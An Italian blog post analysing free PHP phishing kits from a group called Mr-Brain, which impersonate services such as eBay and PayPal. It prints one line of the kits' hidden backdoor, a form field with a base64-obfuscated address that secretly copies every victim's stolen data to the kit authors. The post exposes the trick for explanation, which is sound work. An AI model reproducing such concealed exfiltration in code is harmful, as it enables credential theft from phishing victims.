L’equo compenso dei Phisher
Premetto subito che la notizia non è nuova, credo però, che sia degna di nota.
Un gruppo che si fa chiamare Mr-Brain ha rilasciato dei tool, scritti in PHP, utili a chi vuole cimentarsi in truffe a mezzo phishing. Il sito Web del gruppo offre versioni diverse degli script in base al servizio da “impersonare”: eBay, PayPal, Bank of America, ecc..
I tool sono stati scritti in modo da permetterne l’uso a chi di PHP non ne sa niente: è necessario solamente inserire la propria e-mail per ricevere i dati sensibili inseriti da ogni vittima.
I tool-kit possono essere scaricati senza sborsare denaro. Quest’ultima caratteristica e l’immediatezza d’uso hanno permesso una larga diffusione nel mondo di phisher in erba, tanto che ne erano già state individuate tracce all’inizio dell’anno.
Chi pensa che i ragazzi di Mr-Brain hanno rilasciato questi script solo per la gloria o per il gusto di sapere che verranno usati per colpire utenti non molto smaliziati sbaglia di grosso. L’idea, simpatica, degli autori è quella di prendersi un equo compenso da ogni copia usata un po come fa la cara e vecchia SIAE.
Questa è la parte di codice che si occupa della raccolta di tutti i dati inseriti dalla vittima per poi inviarli via mail:

Notate niente di strano?
La funzione mail() è ripetuta due volte utilizzando due nomi variabili diversi, anche se solo per la prima lettera.
Il valore della prima variabile, quella con la “s” minuscola è definibile dal phiser, mentre il valore della seconda variabile, quella con la “S” maiuscola, è settato tramite un campo del form di raccolta dati. il valore di tale campo è stato offuscato codificandolo in base64:
<input type=”hidden” name=”Send” value=”<?=base64_decode(”TXItQnJhaW5ARXZpbC1CcmFpbi5OZXQ=”);?>”>
In questo modo, i dati della vittima, oltre ad essere inoltrati a chi ha personalizzato lo script con la propria e-mail, verranno sempre inviati anche a un indirizzo di proprietà del gruppo Mr-Brain.
Che dire? Forse l’esperienza conta sempre.
